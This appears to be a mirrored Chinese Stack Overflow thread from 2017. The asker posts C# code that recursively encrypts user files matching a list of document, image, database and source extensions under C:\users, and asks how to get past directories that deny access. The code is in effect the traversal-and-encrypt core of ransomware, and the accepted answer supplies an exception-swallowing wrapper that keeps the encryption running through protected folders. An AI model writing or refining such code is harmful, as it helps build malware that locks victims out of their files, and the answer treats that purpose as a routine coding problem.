【问题标题】:ignore "Unauthorized Access" " function Directory.GetDirectories()"忽略“未经授权的访问”“函数 Directory.GetDirectories()”
【发布时间】:2017-05-26 11:03:31
【问题描述】:

当我扫描C:\\users\\<SomeUserName>\\* 中的目录时 在某些目录中我无权访问我搜索了很多如何忽略“未经授权的访问” 现在我需要帮助:/

这是我的代码:

public void encryptDirectory(string location, string password)
{
    //extensions to be encrypt
    var validExtensions = new[]
    {
        ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
    };
    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }
}

【问题讨论】:

    标签: c# directory unauthorized


    【解决方案1】:

    如果您想忽略特定方法引发的异常,请编写自己的包装器,捕获您希望捕获的异常,并返回一些有用的默认值:

    private static string[] GetFilesSafe(string location) {
        try {
            return Directory.GetFiles(location);
        } catch (UnauthorizedAccessException ex) {
            Console.Error.WriteLine(ex.Message);
            return new string[0];
        }
    }
    

    Directory.GetDirectories 编写一个类似的包装器,并将直接调用替换为对包装器的调用。这将隐藏访问问题。

    【讨论】:

    • 非常感谢!
    猜你喜欢
    • 1970-01-01
    • 2015-03-05
    • 1970-01-01
    • 2014-11-27
    • 2020-05-27
    • 1970-01-01
    • 2016-08-12
    • 2014-07-01
    • 1970-01-01
    相关资源
    最近更新 更多